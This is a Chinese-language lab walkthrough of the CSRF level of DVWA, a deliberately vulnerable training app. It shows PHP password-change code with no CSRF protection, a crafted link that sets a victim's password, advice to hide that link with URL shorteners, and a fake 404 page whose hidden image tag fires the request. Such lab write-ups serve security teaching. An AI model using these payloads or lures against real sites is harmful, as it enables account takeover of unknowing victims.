DVWA-CSRF
CSRF
Cross-site request forgery(跨站请求伪造)。
源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。
漏洞利用
(1)直接构造链接
http://192.168.150.128/DVWA/vulnerabilities/csrf/?password_new=567890&password_conf=567890&Change=Change#
当受害者点击这个链接,他的密码就会被改成567890
(2)使用短链接来隐藏URL
生成短链接常用网址:站长工具、百度短网址点击短链接,会自动跳转到真实网站。在实际攻击场景下只要目标服务器的域名不是ip,并且是远程服务器。
(3)构造攻击页面通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,然后在公网上传下面这个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。
这里我写一个csrf.html:
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<img src="http://192.168.150.128/DVWA/vulnerabilities/csrf/?password_new=567890&password_conf=567890&Change=Change#" border="0" style="display:none;"/>
<p>The requested URL /csrf.html was not found on this server.</p>
</body>
</html>
攻击者在公网上传csrf.html,并已知上传地址,访问者点击恶意页面时,密码被篡改。